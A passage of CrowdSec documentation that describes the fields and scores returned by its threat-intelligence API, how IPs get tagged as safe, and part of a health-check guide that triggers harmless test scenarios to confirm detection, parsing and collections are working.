: "1.2.3.0/24" ``` The /24 range of the IP address. ## `ip_range_24_reputation`[โ€‹](#ip_range_24_reputation "Direct link to ip_range_24_reputation") > type: **string** JSONCOPY ``` "ip_range_24_reputation" : "malicious" ``` For range reputation, only the IPs in the immediate proximity of the requested IP address are considered. For convenience, the range (network prefix) size is always fixed to /24, or 256 IPv4 addresses. The possible values for the /24 network prefix are: * `malicious` : The range is considered malicious * `suspicious` : The IP range contains several IPs that have been reported by the CrowdSec network * `known` : The IP range is recognized in the CrowdSec network, but we lack sufficient sightings of its IP addresses * `unknown`: The last report for IP range is either unknown or over 3 months old ## `ip_range_24_score`[โ€‹](#ip_range_24_score "Direct link to ip_range_24_score") > type: **string** JSONCOPY ``` "ip_range_24_score" : 4 ``` For range scoring, only the IPs in the immediate proximity of the requested IP address are considered. For convenience, the range (network prefix) size is always fixed to /24, or 256 IPv4 addresses. 0 represents unknown, 1 represents a few reported IPs, and 5 represents the highest level for the most aggressive range Here is the mapping with the reputation: | Score | Reputation | | ----- | ------------ | | 0 | `unknown` | | 1 | `known` | | 2-3 | `suspicious` | | 4-5 | `malicious` | ## `background_noise`[โ€‹](#background_noise "Direct link to background_noise") > type: **string** JSONCOPY ``` "background_noise" : "high" ``` The level of background noise of an IP address is an indicator of its internet activity intensity. The possible values are: * `high` : IP is very noisy, validated as an untargeted mild-threat mass-attacks * `medium` : IP has been reported by many members of the CrowdSec network, but not enough to be considered as background noise * `low` : IP has been reported by a few members of the CrowdSec network * `none` : IP has never been reported or only by a very few members of the CrowdSec network ## `background_noise_score`[โ€‹](#background_noise_score "Direct link to background_noise_score") > type: **int** JSONCOPY ``` "background_noise_score" : 10 ``` CrowdSec intelligence calculated score: a high background noise scores highlights untargeted mild-threat mass-attacks. ## `confidence`[โ€‹](#confidence "Direct link to confidence") > type: **string** JSONCOPY ``` confidence: "high" ``` The confidence level about the reports used to compute the reputation and scores. The possible values are: * `high` * `medium` * `low` * `none` ## `ip_range_score`[โ€‹](#ip_range_score "Direct link to ip_range_score") > type: **int** JSONCOPY ``` "ip_range_score" : 5 ``` The malevolence score of the IP range the IP belongs to. 0 is unknown, 1 is a couple of IP reported, 5 is the highest level for the most aggressive range. See "scoring" above. ## `as_name`[โ€‹](#as_name "Direct link to as_name") > type: **string** JSONCOPY ``` "as_name": "AS-NAME" ``` The autonomous system name to which the IP belongs. ## `as_num`[โ€‹](#as_num "Direct link to as_num") > type: **int** JSONCOPY ``` "as_num": 123 ``` The autonomous system to which the IP belongs. ## `reverse_dns`[โ€‹](#reverse_dns "Direct link to reverse_dns") > type: **string** JSONCOPY ``` "reverse_dns": "test.com" ``` Reverse DNS lookup of the IP, when available. ## `location`[โ€‹](#location "Direct link to location") > type: **object** JSONCOPY ``` "location" : { "country" : "FR", "city" : "Paris", "latitude" : 0.0, "longitude" : 0.0, } ``` The geo location information about the IP address. ### `country`[โ€‹](#country "Direct link to country") > type: **string** JSONCOPY ``` "country" : "FR" ``` The two letters country code of the IP following ISO 3166 format, when available. ### `city`[โ€‹](#city "Direct link to city") > type: **string** JSONCOPY ``` "city" : "Paris" ``` The associated city name of the IP, when available. ### `latitude`[โ€‹](#latitude "Direct link to latitude") > type: **float** JSONCOPY ``` "latitude" : 0.0 ``` Latitude of the IP, when available. ### `longitude`[โ€‹](#longitude "Direct link to longitude") > type: **float** JSONCOPY ``` "longitude" : 0.0 ``` Longitude of the IP, when available. ## `history`[โ€‹](#history "Direct link to history") > type: **object** JSONCOPY ``` "history" : { "first_seen" : "2022-01-01T00:00:00+00:00", "last_seen" : "2022-01-01T00:00:00+00:00", "full_age" : 42, "days_age" : 40, } ``` Historical information we have collected about the IP. ### `first_seen`[โ€‹](#first_seen "Direct link to first_seen") > type: **string** JSONCOPY ``` "first_seen" : "2022-01-01T00:00:00+00:00" ``` Date of the first time this IP was reported. Please note that due to our progressive data degradation mechanism this date might be later than the first time the IP was actually seen. ### `last_seen`[โ€‹](#last_seen "Direct link to last_seen") > type: **string** JSONCOPY ``` "last_seen" : "2022-01-01T00:00:00+00:00" ``` Date of the last time this IP was reported. ### `full_age`[โ€‹](#full_age "Direct link to full_age") > type: **int** JSONCOPY ``` "full_age" : 42 ``` Delta in days between first seen and today. ### `days_age`[โ€‹](#days_age "Direct link to days_age") > type: **int** JSONCOPY ``` "days_age" : 40 ``` ### `proxy_or_vpn`[โ€‹](#proxy_or_vpn "Direct link to proxy_or_vpn") > type: **bool** JSONCOPY ``` "proxy_or_vpn" : true ``` Either the IP is a proxy or a VPN. If `true`, more informations can be found in the `classifications`. Delta in days between first and last seen timestamps. ## `behaviors`[โ€‹](#behaviors "Direct link to behaviors") > type: **list(object)** JSONCOPY ``` "behaviors" : [ { "name" : "protocol:behavior", "label" : "Protocol Behavior", "description" : "Protocol Behavior description" } ] ``` A list of the attack categories for which the IP was reported. The possibles values of this field are listed [here](https://docs.crowdsec.net/u/cti_api/taxonomy/behaviors.md). ### `name`[โ€‹](#name "Direct link to name") > type: **string** JSONCOPY ``` "name" : "protocol:behavior" ``` Category name of the attack, often in the form `protocol-or-scope:attack_type`. ### `label`[โ€‹](#label "Direct link to label") > type: **string** JSONCOPY ``` "label" : "Protocol Behavior" ``` Human-friendly name of the behavior. ### `description`[โ€‹](#description "Direct link to description") > type: **string** JSONCOPY ``` "description" : "Protocol Behavior description" ``` Human-friendly description of the behavior. ## `classifications`[โ€‹](#classifications "Direct link to classifications") > type: **object** JSONCOPY ``` "classifications" : { "false_positives" : [ { "name" : "false_positive", "label" : "False Positive", "description" : "False Positive description" } ], "classifications" : [ { "name" : "classification", "label" : "Classification", "description" : "Classification description" } ] } ``` The possible false positives and classifications attributed to this IP address. ### `false_positives`[โ€‹](#false_positives "Direct link to false_positives") > type: **list(object)** JSONCOPY ``` "false_positives" : [ { "name" : "false_positive", "label" : "False Positive", "description" : "False Positive description" } ] ``` A list of false positive tags associated with the IP. Any IP with `false_positives` tags shouldn't be considered as malicious. #### `name`[โ€‹](#name-1 "Direct link to name-1") > type: **string** JSONCOPY ``` "name" : "false_positive" ``` False positive name. #### `label`[โ€‹](#label-1 "Direct link to label-1") > type: **string** JSONCOPY ``` "label" : "False Positive" ``` Human-friendly name of the false positive. #### `description`[โ€‹](#description-1 "Direct link to description-1") > type: **string** JSONCOPY ``` "description" : "False Positive description" ``` Human-friendly description of the false positive. ### `classifications`[โ€‹](#classifications-1 "Direct link to classifications-1") > type: **list(object)** JSONCOPY ``` "classifications" : [ { "name" : "classification", "label" : "Classification", "description" : "Classification description" } ] ``` A list of `classification` tags associated with the IP. #### `name`[โ€‹](#name-2 "Direct link to name-2") > type: **string** JSONCOPY ``` "name" : "classification" ``` Classification name. #### `label`[โ€‹](#label-2 "Direct link to label-2") > type: **string** JSONCOPY ``` "label" : "Classification" ``` Human-friendly name of the classification. #### `description`[โ€‹](#description-2 "Direct link to description-2") > type: **string** JSONCOPY ``` "description" : "Classification description" ``` Human-friendly description of the classification. ## `attack_details`[โ€‹](#attack_details "Direct link to attack_details") > type: **list(object)** JSONCOPY ``` "attack_details" : [ { "name" : "crowdsecurity/scenario", "label" : "Scenario Label", "description" : "Scenario description" } ] ``` A more exhaustive list of the scenarios for which a given IP was reported. The possibles values of this field are listed [here](https://docs.crowdsec.net/u/cti_api/taxonomy/scenarios.md). ### `name`[โ€‹](#name-3 "Direct link to name-3") > type: **string** JSONCOPY ``` "name" : "author/scenario_name" ``` Name of the scenario, often in the form `author/scenario_name`. ### `label`[โ€‹](#label-3 "Direct link to label-3") > type: **string** JSONCOPY ``` "label" : "Scenario" ``` Human-friendly name of the scenario. ### `description`[โ€‹](#description-3 "Direct link to description-3") > type: **string** JSONCOPY ``` "description" : "Scenario description" ``` Human-friendly description of the scenario. ## `mitre_techniques`[โ€‹](#mitre_techniques "Direct link to mitre_techniques") > type: **list(object)** JSONCOPY ``` "mitre_techniques" : [ { "name" : "technique_id", "label" : "technique name", "description" : "Technique description" } ] ``` A list of Mitre techniques associated with the IP. More detail on the Mitre Att\&ck can be found [here](https://attack.mitre.org/techniques/enterprise/). ### `name`[โ€‹](#name-4 "Direct link to name-4") > type: **string** JSONCOPY ``` "name" : "technique ID" ``` Mitre Technique ID. ### `label`[โ€‹](#label-4 "Direct link to label-4") > type: **string** JSONCOPY ``` "label" : "technique name" ``` Mitre Technique name. ### `description`[โ€‹](#description-4 "Direct link to description-4") > type: **string** JSONCOPY ``` "description" : "technique description" ``` Mitre Technique description. ## `cves`[โ€‹](#cves "Direct link to cves") > type: **list(string)** JSONCOPY ``` "cves" : [ "CVE-2023-1234", "CVE-2023-1245" ] ``` A list of CVEs for which the IP has been reported for. ## `target_countries`[โ€‹](#target_countries "Direct link to target_countries") > type: **object** JSONCOPY ``` "target_countries": { "US": 80, "GB": 5, "FR": 4, "DE": 4, "CA": 2, }, ``` The top 10 countries targeted by the IP. The numbers represent the percentage of the total number of attacks. ## `scores`[โ€‹](#scores "Direct link to scores") > type: **object** JSONCOPY ``` "scores": { "overall": { "aggressiveness": 5, "threat": 1, "trust": 4, "anomaly": 3, "total": 4 }, "last_day": { "aggressiveness": 1, "threat": 1, "trust": 0, "anomaly": 3, "total": 1 }, "last_week": { "aggressiveness": 3, "threat": 1, "trust": 2, "anomaly": 3, "total": 3 }, "last_month": { "aggressiveness": 4, "threat": 1, "trust": 5, "anomaly": 3, "total": 3 } } ``` Indicators of Malevolence computed over different time periods. โš ๏ธ All scores are on a scale from 0 to 5. ### `overall`[โ€‹](#overall "Direct link to overall") > type: **object** JSONCOPY ``` "overall": { "aggressiveness": 5, "threat": 1, "trust": 4, "anomaly": 3, "total": 4 } ``` Malevolence score over the total period (3 months). #### `total`[โ€‹](#total "Direct link to total") > type: **int** JSONCOPY ``` "total" : 5 ``` The aggregated malevolence score. #### `aggressiveness`[โ€‹](#aggressiveness "Direct link to aggressiveness") > type: **int** JSONCOPY ``` "aggressiveness" : 5 ``` The score of the *aggressiveness* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `threat`[โ€‹](#threat "Direct link to threat") > type: **int** JSONCOPY ``` "threat" : 5 ``` The score of the *threat* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `trust`[โ€‹](#trust "Direct link to trust") > type: **int** JSONCOPY ``` "trust" : 5 ``` The score of the *trust* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `anomaly`[โ€‹](#anomaly "Direct link to anomaly") > type: **int** JSONCOPY ``` "anomaly" : 5 ``` The score of the *anomaly* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). ### `last_month`[โ€‹](#last_month "Direct link to last_month") > type: **object** JSONCOPY ``` "last_month": { "aggressiveness": 5, "threat": 1, "trust": 4, "anomaly": 3, "total": 4 } ``` Malevolence score over the last month. #### `total`[โ€‹](#total-1 "Direct link to total-1") > type: **int** JSONCOPY ``` "total" : 5 ``` The aggregated malevolence score. #### `aggressiveness`[โ€‹](#aggressiveness-1 "Direct link to aggressiveness-1") > type: **int** JSONCOPY ``` "aggressiveness" : 5 ``` The score of the *aggressiveness* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `threat`[โ€‹](#threat-1 "Direct link to threat-1") > type: **int** JSONCOPY ``` "threat" : 5 ``` The score of the *threat* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `trust`[โ€‹](#trust-1 "Direct link to trust-1") > type: **int** JSONCOPY ``` "trust" : 5 ``` The score of the *trust* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `anomaly`[โ€‹](#anomaly-1 "Direct link to anomaly-1") > type: **int** JSONCOPY ``` "anomaly" : 5 ``` The score of the *anomaly* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). ### `last_week`[โ€‹](#last_week "Direct link to last_week") > type: **object** JSONCOPY ``` "last_week": { "aggressiveness": 5, "threat": 1, "trust": 4, "anomaly": 3, "total": 4 } ``` Malevolence score over the last week. #### `total`[โ€‹](#total-2 "Direct link to total-2") > type: **int** JSONCOPY ``` "total" : 5 ``` The aggregated malevolence score. #### `aggressiveness`[โ€‹](#aggressiveness-2 "Direct link to aggressiveness-2") > type: **int** JSONCOPY ``` "aggressiveness" : 5 ``` The score of the *aggressiveness* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `threat`[โ€‹](#threat-2 "Direct link to threat-2") > type: **int** JSONCOPY ``` "threat" : 5 ``` The score of the *threat* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `trust`[โ€‹](#trust-2 "Direct link to trust-2") > type: **int** JSONCOPY ``` "trust" : 5 ``` The score of the *trust* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `anomaly`[โ€‹](#anomaly-2 "Direct link to anomaly-2") > type: **int** JSONCOPY ``` "anomaly" : 5 ``` The score of the *anomaly* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). ### `last_day`[โ€‹](#last_day "Direct link to last_day") > type: **object** JSONCOPY ``` "last_day": { "aggressiveness": 5, "threat": 1, "trust": 4, "anomaly": 3, "total": 4 } ``` Malevolence score over the last day. #### `total`[โ€‹](#total-3 "Direct link to total-3") > type: **int** JSONCOPY ``` "total" : 5 ``` The aggregated malevolence score. #### `aggressiveness`[โ€‹](#aggressiveness-3 "Direct link to aggressiveness-3") > type: **int** JSONCOPY ``` "aggressiveness" : 5 ``` The score of the *aggressiveness* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `threat`[โ€‹](#threat-3 "Direct link to threat-3") > type: **int** JSONCOPY ``` "threat" : 5 ``` The score of the *threat* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `trust`[โ€‹](#trust-3 "Direct link to trust-3") > type: **int** JSONCOPY ``` "trust" : 5 ``` The score of the *trust* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). #### `anomaly`[โ€‹](#anomaly-3 "Direct link to anomaly-3") > type: **int** JSONCOPY ``` "anomaly" : 5 ``` The score of the *anomaly* component (see [more here](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md)). ## `references`[โ€‹](#references "Direct link to references") > type: **list(object)** JSONCOPY ``` "references" : [ { "name" : "list_name", "label" : "List Label", "description" : "List descrption" } ] ``` A list of the [CrowdSec Blockists](https://app.crowdsec.net/blocklists) the IP belongs to. ### `name`[โ€‹](#name-5 "Direct link to name-5") > type: **string** JSONCOPY ``` "name" : "list:list_name" ``` Name of the list, often in the form `list:`. ### `label`[โ€‹](#label-5 "Direct link to label-5") > type: **string** JSONCOPY ``` "label" : "List label" ``` Human-friendly name of the list. ### `description`[โ€‹](#description-5 "Direct link to description-5") > type: **string** JSONCOPY ``` "description" : "List description" ``` Human-friendly description of the list. ## `state`[โ€‹](#state "Direct link to state") > type: **string** JSONCOPY ``` "state": "validated|refused" ``` Only present for the `fire` route. * `validated` means IP is currently part of community blocklist * `refused` means it was part of the community blocklist, but was manually purged (ie. false positive) ## `expiration`[โ€‹](#expiration "Direct link to expiration") > type: **string** JSONCOPY ``` "expiration": "2023-01-01T01:01:01.000000" ``` Only present for the `fire` route. Date at which the IP address expires from the community blocklist. --- # Safe Classifications [](https://hub-cdn.crowdsec.net/master/taxonomy/false_positives.json) Github IPs in this category are considered completely safe and trusted. Alerts triggered by these IPs are likely due to misconfiguration or overly sensitive alerting rules. IPs belonging to those categories will have the `safe` [reputation](https://docs.crowdsec.net/u/cti_api/taxonomy/cti_object.md#reputation). ## How to Get Tagged as Safe[โ€‹](#how-to-get-tagged-as-safe "Direct link to How to Get Tagged as Safe") To be able to be classified as a safe IP, you need a proper technical justification of why your IP might be misclassified as a threat. This part is to be reviewed and validated by crowdsec. You also need public documentation stating the IP, ranges, and/or reverse DNS associated with the assets in question. This data must be machine-readable (no HTML, no PDF, etc.). Once your IP addresses are publicly available and accessible via HTTPS, you can contact . Please include the URL of your IPs and ranges. The CrowdSec team will do their best to update the CTI with false positive information, so your IPs are flagged correctly. Here are some examples of providers who share their IPs and ranges: * [Bing](https://www.bing.com/toolbox/bingbot.json) * [Google Bot](https://developers.google.com/search/apis/ipranges/googlebot.json) * [Cloudfront](https://d7uri8nf7uskq.cloudfront.net/tools/list-cloudfront-ips) * [Fastly](https://api.fastly.com/public-ip-list) note You donโ€™t need to follow a specific format for the exposed list, but itโ€™s recommended to keep the same format over time. Otherwise, the false positive enrichment may stop working. Itโ€™s best to use CSV or JSON for the list format. --- # Introduction ## CrowdSec CTI Taxonomy[โ€‹](#crowdsec-cti-taxonomy "Direct link to CrowdSec CTI Taxonomy") The CrowdSec CTI Taxonomy is designed to help users fully understand and effectively utilize the data returned by the CrowdSec CTI API. By organizing threat intelligence into structured and actionable categories, it enables better anticipation of potential threats. ### Key Aspects[โ€‹](#key-aspects "Direct link to Key Aspects") This section covers the following key aspects: * [**CTI Format**](https://docs.crowdsec.net/u/cti_api/taxonomy/cti_object.md): The complete structure and fields returned by the CrowdSec API, providing a detailed view of the data for each queried IP address. * [**CTI Scores**](https://docs.crowdsec.net/u/cti_api/taxonomy/scores.md): Detailed assessments computed for an IP address over different periods (daily, weekly, monthly, and overall). * [**Behaviors**](https://docs.crowdsec.net/u/cti_api/taxonomy/behaviors.md): List of defined behaviors linked to an IP address, providing context for its activity. * [**Classifications**](https://docs.crowdsec.net/u/cti_api/taxonomy/classifications.md): Category of an IP address, helping to identify whether an IP is part of a known group, network or other defined role, providing important context to understand its potential behavior. * [**False Positives**](https://docs.crowdsec.net/u/cti_api/taxonomy/false_positives.md): Categories of potential false positives, ensuring accurate analysis and interpretation of API results. * [**Scenarios**](https://docs.crowdsec.net/u/cti_api/taxonomy/scenarios.md): A detailed view of the scenarios that triggered reports for an IP address, helping to identify patterns or threats. --- # Scenarios [](https://hub-cdn.crowdsec.net/master/taxonomy/scenarios.json) Github --- # Scores ## Understanding CrowdSec CTI Scores[โ€‹](#understanding-crowdsec-cti-scores "Direct link to Understanding CrowdSec CTI Scores") While CrowdSec provides general scores for common use cases, this section offers a deeper breakdown of IP-related data. These scores help categorize alerts and can be used to build internal products tailored to your organization's needs. They serve as indicators of malevolent activity associated with an IP address, computed over several periods: 1 day, 1 week, 1 month, and overall. Each score is measured on a scale from **0** (lowest) to **5** (highest). Below is an overview of the main score components: | Indicator | Explanation | | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Aggressiveness** | *How intense is the attack?*
Measures the frequency of attacks within a given time period. A higher score indicates a greater number of attack attempts, signaling aggressive behavior or persistent targeting over time. | | **Threat** | *How dangerous are the attacks?*
Reflects the severity of the attacks, ranging from low-risk activities like scanning to high-risk behaviors like exploiting vulnerabilities. A higher score means the IP is associated with more dangerous tactics. | | **Trust** | *How reliable is the information about the IP?*
Based on the credibility of the reporting sources. This score considers factors like the age of the reports, how many different security engines flagged the IP, and the diversity of the reports. A higher score indicates more trust in the accuracy and reliability of the data. | | **Anomaly** | *Are there any suspicious behaviors associated with the device behind this IP?*
Evaluates red flags like outdated software, unusual configurations, or other traits that could indicate a compromised or malicious device. A higher score suggests more alarming anomalies linked to the IP. | | **Total** | Combines the scores of the above four components to give an overall malevolence score. The higher the total, the more likely the IP is associated with malicious activity indicators. | For a more detailed explanation on how we calculate these scores, read our [blog article](https://www.crowdsec.net/blog/crowdsec-cti-scoring-system). ### IP Range Score[โ€‹](#ip-range-score "Direct link to IP Range Score") The `ip_range_score` reflects the malevolence of an entire IP range, ranging from *0* (no reports) to *5* (highly reported). It is based on the number of IPs in the range that have been flagged as malicious by the CrowdSec community. The more IPs from the same range are reported, the higher the score, indicating a greater likelihood that the range is associated with malicious activity. --- # CrowdSec Security Engine Setup Health-Check Health Check Version: 0.2.0 Welcome to the interactive Health-Check for your CrowdSec setup. This guide validates three things end to end: **Detection**, **Threat Sharing**, and **Remediation**. It focuses on common services such as HTTP and SSH. We start with top-level checks first, then walk through targeted troubleshooting if something fails. Before you begin, make sure: * CrowdSec Security Engine is installed and running. * You can run `cscli` commands (or use the Docker/Kubernetes variants below). * If you want remediation to be tested, you have a Remediation Component installed. This health check is divided into three sections: * [**๐Ÿ“ก Detection**](#-detection-checks): Ensuring CrowdSec properly detects threats targeting your services. * [**๐Ÿ”— Connectivity**](#-crowdsec-connectivity-checks): Verifying communication with the CrowdSec network to receive the community blocklist. * [**๐Ÿ›ก๏ธ Protection**](#-remediation-checks): Confirming that your bouncers automatically block threats detected by CrowdSec Your feedback matters! Help us improve this health check guide by sharing your experience: [๐Ÿ“ **Health Check Feedback Form** โ†—๏ธ](https://forms.gle/DJboC7oisjmA8qt78) *** ## ๐Ÿ“ก Detection checks[โ€‹](#-detection-checks "Direct link to ๐Ÿ“ก Detection checks") ### *Trigger CrowdSec test scenarios*[โ€‹](#trigger-crowdsec-test-scenarios "Direct link to trigger-crowdsec-test-scenarios") Let's use CrowdSec's built-in **dummy scenarios** (HTTP and Linux) to safely verify your Security Engine detects threats, without risking accidental self-blocking. ๐ŸŒ **HTTP** detection test We'll trigger the dummy scenario `crowdsecurity/http-generic-test` by accessing a **probe path** on your web server. 1๏ธโƒฃ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I https:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2๏ธโƒฃ Confirm the alert has triggered for the scenario `crowdsecurity/http-generic-test` * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli alerts list -s crowdsecurity/http-generic-test ``` SHCOPY ``` docker exec crowdsec cscli alerts list -s crowdsecurity/http-generic-test ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/http-generic-test ``` **Notes:** * โš ๏ธ **Important**: Requests from **private IP addresses won't trigger alerts** (private IPs are whitelisted by default). * If testing from localhost or your internal network (192.168.x.x, 10.x.x.x, 172.16.x.x), the test will fail. * **Solution**: Test from an external device with a public IP address, or test via a browser from your phone using mobile data. * This scenario can be triggered again after a 5-minute delay. ๐Ÿ” **SSH** detection test We'll trigger the dummy scenario `crowdsecurity/ssh-generic-test` by attempting an SSH login with a specific username. 1๏ธโƒฃ Attempt SSH login using this username: `crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl`. SHCOPY ``` ssh crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl@ ``` 2๏ธโƒฃ Confirm the alert has triggered for the scenario `crowdsecurity/ssh-generic-test` * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli alerts list -s crowdsecurity/ssh-generic-test ``` SHCOPY ``` docker exec crowdsec cscli alerts list -s crowdsecurity/ssh-generic-test ``` It's uncommon to have to deal with this scenario in Kubernetes, but if you do: SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/ssh-generic-test ``` **Notes:** * This scenario can only be triggered again after a 5-minute delay. ๐Ÿ›ก๏ธ **AppSec** detection test - CrowdSec WAF If you've enabled a WAF-capable bouncer with CrowdSec WAF and the [Virtual Patching collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching), you can trigger the `crowdsecurity/appsec-generic-test` dummy scenario.
It would have triggered along with the HTTP detection test, but it is worth mentioning here as well. We'll trigger the dummy scenario `crowdsecurity/appsec-generic-test` by accessing a **probe path** on your web server. 1๏ธโƒฃ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I https:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2๏ธโƒฃ Confirm the alert has triggered for the scenario `crowdsecurity/appsec-generic-test` * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli alerts list -s crowdsecurity/appsec-generic-test ``` SHCOPY ``` docker exec crowdsec cscli alerts list -s crowdsecurity/appsec-generic-test ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/appsec-generic-test ``` **Notes:** * This scenario can only be triggered again after a 1-minute delay. *** ### Were all the tests successful?[โ€‹](#were-all-the-tests-successful "Direct link to Were all the tests successful?") Were all the tests related to your setup successful? ๐Ÿ‘ If so, you can proceed to the next phase of the health check: [**Connectivity checks**](#-crowdsec-connectivity-checks). ๐Ÿ› ๏ธ If not, check the troubleshooting section below. ๐Ÿž **Detection Troubleshooting** **No alert triggered? Let's find out why.** If you installed CrowdSec on the same **host** as the service you're protecting, it should have auto-detected it and installed the right collections of parsers and scenarios. However, if you're using *custom log paths*, *unusual log formats*, or running in *Docker/Kubernetes*, you might need to configure some things manually. **This section will help you pinpoint the issue and walk you through how to fix it.** ๐Ÿ“„ Are your logs being properly read and parsed? CrowdSec needs to know what logs to read and how to interpret them.
This is handled by the acquisition configuration (log sources) and parsing (how to read them). Multiple log sources can be defined in the acquisition(s) configuration files and they support diverse datasources (files, syslog, etc.). For more details you can refer to the [datasources documentation](https://doc.crowdsec.net/docs/next/log_processor/data_sources/intro). We'll look at the security engine **metrics** to see if logs are **being read** and if what's read is **parsed correctly**. We'll do that using the `cscli metrics` command: * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli metrics show acquisition parsers ``` SHCOPY ``` docker exec crowdsec cscli metrics show acquisition parsers ``` ``` for i in $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=agent -o name); do kubectl exec -n crowdsec -it $i -- cscli metrics show acquisition parsers; done ``` Under **Acquisition Metrics** you should see: * The source name of the log files or streams that have been read and the number of lines read and parsed for each of them. * If you don't see any sources or some you have configured are missing, it means that the acquisition configuration is not properly set up. * A non zero number of "Lines parsed" is expected for each source, proving that the appropriate parser was found and used. Under **Parsers Metrics** you have the details of the parsers used. ๐Ÿšจ If this check fails, donโ€™t worry -- the results will point you to the right area to troubleshoot: warning ๐Ÿž If this command fails entirely, go to the [**CrowdSec Service Troubleshooting section**](#troubleshooting_service) warning ๐Ÿž If your acquisition sources don't appear, check the [**Acquisition Troubleshooting section**](#troubleshooting_acquisition) warning ๐Ÿž If parsing fails, check the [**Collection Troubleshooting section**](#troubleshooting_collection) ๐Ÿ“ฅ Acquisition Troubleshooting -- Are your logs properly declared as datasources CrowdSec needs to know where to **read your logs**. The configuration varies by deployment method: * On Host * Docker * Kubernetes The **acquisition configuration** is usually found in `acquis.yaml` or in files under `acquis.d/` inside the CrowdSec config directory. On Debian-like OS it is typically located in `/etc/crowdsec/`. **To troubleshoot:** * The detailed doc about the acquisition configuration can be found [here](https://doc.crowdsec.net/docs/next/log_processor/acquisition/intro). * Check your acquisition files exist and that the datasources are properly setup. * ๐Ÿ’ก Hint: * The hub page of the collection you installed provides an example of the acquisition configuration file to create. * For example: * The [NGINX collection hub page โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/collections/nginx) * Or the [SSHD collection hub page โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/collections/sshd) (that is contained in the Linux Collection). * Make sure that the **type** declared matches the **parser** expected to be used: nginx, apache, syslog, etc. In Docker, logs must be accessible to the container through volumes. **Common issues:** * **Missing volume mounts** & **Shared log volumes**: Ensure log directories are mounted in your container and available in multi-container setup.
Example if your service logs are in `/var/log` on the host or in a `logs` shared volume: YAMLCOPY ``` volumes: - /var/log:/var/log:ro # Example for mounting logs as read-only - logs:/logs:ro # Example for shared log volume between containers ``` * **Acquisition configuration**: Your `acquis.yaml` or `acquis.d/*.yaml` files should reference paths inside the container. * **Log file permissions**: CrowdSec container user must have read access to log files. **To check your acquisition config:** SHCOPY ``` docker exec crowdsec cat /etc/crowdsec/acquis.yaml # or acquis.d/*.yaml ``` In Kubernetes, CrowdSec reads logs from `/var/log/containers` which is mounted into pods by the helm chart. **Configuration is done in your Helm values file:** YAMLCOPY ``` agent: acquisition: - namespace: your-namespace podName: your-pod-* program: nginx # Reference used by the FILTER function of your installed parsers ``` **Common issues:** * **Wrong namespace or pod names**: Verify pods exist with `kubectl get pods -n ` * **Incorrect program name**: The `program` field must match the FILTER of your installed parser (nginx, traefik, apache, etc.) * **Container runtime mismatch**: Set `container_runtime: containerd` or `container_runtime: docker` in values.yaml **Note:** Unlike standalone deployments, you use `program:` instead of `type:` in Kubernetes acquisitions. ๐Ÿ“ฆ Collection Troubleshooting -- Are the right parsers and scenarios installed? CrowdSec, via its [**Hub** โ†—๏ธ](https://app.crowdsec.net/hub/collections) uses collections to package correct parsers and detection scenarios for your services. * On Host * Docker * Kubernetes On regular **host** installations, CrowdSec usually detects your services (like nginx or ssh) and installs the appropriate collections automatically. **๐Ÿ” To check what's currently installed:** SHCOPY ``` sudo cscli collections list ``` You can also list individual parsers and scenarios with: SHCOPY ``` sudo cscli parsers list sudo cscli scenarios list ``` * Look for entries related to your service (e.g., nginx, apache, ssh). * If they're listed, the right collection is likely installed. **๐Ÿ“ฅ Install missing collections:** 1. Visit the [CrowdSec Hub โ†—๏ธ](https://hub.crowdsec.net/) and search for a collection matching your service 2. Install with: SHCOPY ``` sudo cscli collections install crowdsecurity/nginx sudo systemctl reload crowdsec ``` In Docker, collections must be installed via the `COLLECTIONS` environment variable. **๐Ÿ” To check what's currently installed:** SHCOPY ``` docker exec crowdsec cscli collections list ``` **๐Ÿ“ฅ Install collections:** YAMLCOPY ``` environment: COLLECTIONS: "crowdsecurity/nginx crowdsecurity/linux" ``` Then **restart the container**. In Kubernetes, collections must be 